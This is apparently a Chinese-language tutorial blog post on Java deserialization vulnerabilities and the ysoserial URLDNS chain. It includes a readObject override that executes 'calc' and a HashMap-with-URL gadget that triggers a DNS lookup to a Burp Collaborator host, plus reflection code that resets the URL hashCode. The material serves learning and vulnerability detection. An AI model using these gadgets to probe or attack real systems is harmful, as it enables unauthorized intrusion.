Java反序列化入门及URLDNS链
redpomelo Lv2

反序列化漏洞学习

假设有这么个实体类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Person.java
//注意要实现一个Serializable接口
import java.io.Serializable;

public class Person implements Serializable {
private String name;
private int age;

public Person(){

}

public Person(String name, int age){
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}
}

现在我们要传递这个对象,假设有两台机器,那么电脑一上进行序列化过程

序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SerializationTest.java

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException {
Person person = new Person("John", 30);
System.out.println(person);
serialize(person);
}
}

用一个文件输出流把对象给序列化了,电脑二要读取这个类,那么就要进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
UnSerializeTest.java
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeTest {
public static Object unserialize(String Filename)throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person) unserialize("ser.bin");
System.out.println(person);
}

执行后:

image-20241125112310262

现在就成功拿到了这个类,

现在要知道,不安全的反序列化有三种情况

image-20241125113013995

比如

一:

现在我们在Person类里如果重写一个readObject,加入一个危险的命令执行,

1
2
3
4
5
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException, IOException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

在把他序列化后反序列化

image-20241125112828285

会发现执行了命令,但这么危险的类一般不会有人这么写

二:

入口类参数中包含可控类,该类有危险方法,readObject时调用

实际上这种情况也不是很多

三:

入口类参数包含可控类,该类又调用其他有危险方法的类,readOBject时调用

反射在反序列化漏洞中的作用

  • 定制需要的对象
  • 通过invoke调用除了同名函数以外的函数
  • 通过Class类创建对象,引入不能序列化的类

URLDNS链分析

在上文中已经知道了一个对象只要实现了Serilizable接口,这个对象就可以被序列化

URLDNS 是知名反序列化工具ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

跟进URL类,发现他继承了Serilizable接口,可以进行反序列化,但接着跟下去发现是无法完成序列化的

image-20241125135542195

这里调用了一个handler的hashCode函数,跟进

image-20241125141701454

有一个getHostAddress,根据介绍知道他是一个根据域名获取地址,也就是说如果调用url类的hashCode函数就可以得到一个DNS请求,就可以验证是否存在漏洞

image-20241125141958472

正常来说我们只要把这个hashmap给序列化了,然后在反序列化时就会发送dns请求

1
2
3
4
5
6
7

public static void main(String[] args) throws IOException {
HashMap<URL,Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://umkizmypfx2mj6b4ek775od9w02qqf.burpcollaborator.net"),1);
serialize(hashMap);
}
}

但奇怪的是在序列化的时候我们就接收到了请求,而反序列化的时候却没有接收到请求

image-20241125143456553

阅读代码可知:

如果hashCode不等于-1的话他就直接返回了,而不会继续往下走

image-20241125144017786

hashCode在初始化的时候是-1,但我们在调用put它之后就把值给改变了,

我们现在不想让他发起请求,我们就要让把URL对象的hashcode改成不是-1,那么就可以通过反射去修改URL的hashcode

1
2
3
4
5
6
7
8
9
10
11
12
13
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("");

// 通过反射修改URL的hashCode
Class clazz = url.getClass();
Field hashCodeField = clazz.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 114514); // 设置URL的hashCode为114514,只要不是-1都行
// 序列化
serialize(hashMap);
}
}

现在他在序列化的时候就不会发起dns请求了,验证:

image-20241125145247862

总结:

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

相关资料

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量